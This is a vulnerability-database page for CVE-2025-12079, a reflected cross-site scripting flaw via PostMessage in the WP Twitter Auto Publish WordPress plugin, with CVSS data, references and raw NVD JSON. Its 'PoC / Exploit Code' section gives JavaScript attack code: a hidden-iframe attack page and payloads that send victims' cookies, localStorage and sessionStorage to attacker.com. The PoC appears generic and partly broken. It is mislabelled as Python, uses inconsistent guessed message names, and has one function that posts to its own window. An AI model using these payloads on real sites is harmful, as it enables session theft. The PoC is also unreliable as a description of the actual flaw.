CVE-2025-12079

Description

The WP Twitter Auto Publish plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Twitter Auto Publish plugin <= 1.7.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-12079 PoC - Reflected XSS via PostMessage
// Target: WP Twitter Auto Publish plugin <= 1.7.4

// Attack page that sends malicious PostMessage
const maliciousPayload = '<img src=x onerror="alert(document.cookie)">';

// Target WordPress site with vulnerable plugin
const targetSite = 'https://victim-site.com';

// Create attack iframe
const attackPage = `
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe id="target" src="${targetSite}/wp-admin/" style="display:none"></iframe>
<script>
  // Wait for iframe to load
  setTimeout(() => {
    // Send malicious PostMessage to trigger XSS
    const iframe = document.getElementById('target');
    iframe.contentWindow.postMessage({
      type: 'twitter_auto_publish',
      data: '${maliciousPayload}'
    }, '*');
  }, 2000);
</script>
</body>
</html>
`;

// Alternative direct attack vector (if plugin loads on frontend)
function exploitPostMessage() {
  const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';
  
  // Send to all iframes on the target domain
  window.postMessage({
    action: 'twitter_autopublish',
    message: payload
  }, '*');
}

// Cookie stealing payload
const cookieStealPayload = `
<img src=x onerror="
  fetch('https://attacker.com/log?c='+btoa(document.cookie))
">
`;

// Session hijacking payload
const sessionHijackPayload = `
<script>
  fetch('https://attacker.com/exfil?data='+encodeURIComponent(JSON.stringify({
    cookies: document.cookie,
    localStorage: localStorage,
    sessionStorage: sessionStorage
  })));
</script>
`;

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12079
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12079
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12079/
[4] VulDB https://vuldb.com/cve/CVE-2025-12079
[5] https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412039%40twitter-auto-publish&new=3412039%40twitter-auto-publish&sfp_email=&sfph_mail=
[6] https://wordpress.org/plugins/twitter-auto-publish/
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/562456ac-a113-4b3d-bc5d-6dedde635d5e?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12079", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:46.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Twitter Auto Publish plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412039%40twitter-auto-publish&new=3412039%40twitter-auto-publish&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/twitter-auto-publish/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/562456ac-a113-4b3d-bc5d-6dedde635d5e?source=cve", "source": "[email protected]"}]}}